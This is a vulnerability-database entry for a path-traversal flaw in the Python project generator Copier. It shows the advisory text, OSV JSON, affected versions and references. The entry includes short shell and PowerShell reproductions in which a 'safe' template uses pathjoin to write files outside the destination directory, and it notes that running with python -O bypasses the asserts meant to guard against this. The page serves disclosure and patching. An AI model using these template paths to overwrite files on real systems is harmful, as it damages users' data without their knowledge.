GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

PYSEC-2026-1273

Vulnerability from pysec - Published: 2026-07-07 16:03 - Updated: 2026-07-07 17:23
VLAI
Details

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a generated directory structure whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin pathjoin Jinja filter and its builtin _copier_conf.sep variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.

Write access via generated relative path

Reproducible example:

echo "foo" > forbidden.txt
mkdir src/
echo "bar" > "src/{{ pathjoin('..', 'forbidden.txt') }}"
uvx copier copy src/ dst/
cat forbidden.txt

Write access via generated absolute path

Reproducible example:

  • POSIX:

    ```shell

    Assumption: The current working directory is /tmp/test-copier-vulnerability/

    echo "foo" > forbidden.txt mkdir src/ echo "bar" > "src/{{ pathjoin(_copier_conf.sep, 'tmp', 'test-copier-vulnerability', 'forbidden.txt') }}" uvx --from copier python -O -m copier copy --overwrite src/ dst/ cat forbidden.txt ```

  • Windows (PowerShell):

    ```powershell

    Assumption: The current working directory is C:\Users\<user>\Temp\test-copier-vulnerability

    echo "foo" > forbidden.txt mkdir src Set-Content -Path src\copier.yml @' drive: type: str default: "C:" when: false '@ echo "bar" > "src{{ pathjoin(drive, 'Users', '', 'Temp', 'test-copier-vulnerability', 'forbidden.txt') }}" uvx --from copier python -O -m copier copy --overwrite src dst cat forbidden.txt ```

This scenario is slightly less severe, as Copier has a few assertions of the destination path being relative which would typically be raised. But python -O (or PYTHONOPTIMIZE=x) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the --overwrite flag for non-interactive mode; yet malicious file writes might go unnoticed.

Impacted products
Name purl
copier pkg:pypi/copier

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "copier",
        "purl": "pkg:pypi/copier"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.1.0"
            },
            {
              "fixed": "9.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "7.1.0",
        "7.2.0",
        "8.0.0",
        "8.1.0",
        "8.2.0",
        "8.3.0",
        "9.0.1",
        "9.1.0",
        "9.1.1",
        "9.2.0",
        "9.3.0",
        "9.3.1",
        "9.4.0",
        "9.4.1",
        "9.5.0",
        "9.6.0",
        "9.7.0",
        "9.7.1",
        "9.8.0",
        "9.9.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-55214",
    "GHSA-p7q8-grrj-3m8w"
  ],
  "details": "### Impact\n\nCopier suggests that it\u0027s safe to generate a project from a safe template, i.e. one that doesn\u0027t use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier\u0027s builtin `pathjoin` Jinja filter and its builtin `_copier_conf.sep` variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user\u0027s write permissions), e.g., to cause havoc.\n\n#### Write access via generated relative path\n\nReproducible example:\n\n```shell\necho \"foo\" \u003e forbidden.txt\nmkdir src/\necho \"bar\" \u003e \"src/{{ pathjoin(\u0027..\u0027, \u0027forbidden.txt\u0027) }}\"\nuvx copier copy src/ dst/\ncat forbidden.txt\n```\n\n#### Write access via generated absolute path\n\nReproducible example:\n\n- POSIX:\n\n    ```shell\n    # Assumption: The current working directory is `/tmp/test-copier-vulnerability/`\n    echo \"foo\" \u003e forbidden.txt\n    mkdir src/\n    echo \"bar\" \u003e \"src/{{ pathjoin(_copier_conf.sep, \u0027tmp\u0027, \u0027test-copier-vulnerability\u0027, \u0027forbidden.txt\u0027) }}\"\n    uvx --from copier python -O -m copier copy --overwrite src/ dst/\n    cat forbidden.txt\n    ```\n\n- Windows (PowerShell):\n\n    ```powershell\n    # Assumption: The current working directory is `C:\\Users\\\u003cuser\u003e\\Temp\\test-copier-vulnerability`\n    echo \"foo\" \u003e forbidden.txt\n    mkdir src\n    Set-Content -Path src\\copier.yml @\u0027\n    drive:\n      type: str\n      default: \"C:\"\n      when: false\n    \u0027@\n    echo \"bar\" \u003e \"src\\{{ pathjoin(drive, \u0027Users\u0027, \u0027\u003cuser\u003e\u0027, \u0027Temp\u0027, \u0027test-copier-vulnerability\u0027, \u0027forbidden.txt\u0027) }}\"\n    uvx --from copier python -O -m copier copy --overwrite src dst\n    cat forbidden.txt\n    ```\n\nThis scenario is slightly less severe, as Copier has a few [assertions of the destination path being relative](https://github.com/copier-org/copier/blob/d106ea543fd26e1ac1b9a3dcef3e99cc70fdf57c/copier/_main.py#L747) which would typically be raised. But `python -O` (or `PYTHONOPTIMIZE=x`) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the `--overwrite` flag for non-interactive mode; yet malicious file writes might go unnoticed.",
  "id": "PYSEC-2026-1273",
  "modified": "2026-07-07T17:23:57.495026Z",
  "published": "2026-07-07T16:03:01.489150Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/copier-org/copier/security/advisories/GHSA-p7q8-grrj-3m8w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55214"
    },
    {
      "type": "WEB",
      "url": "https://github.com/copier-org/copier/commit/fdbc0167cc22780b497e4db176feaf6f024757d6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/copier-org/copier"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/copier"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-p7q8-grrj-3m8w"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Copier\u0027s safe template has filesystem write access outside destination path"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…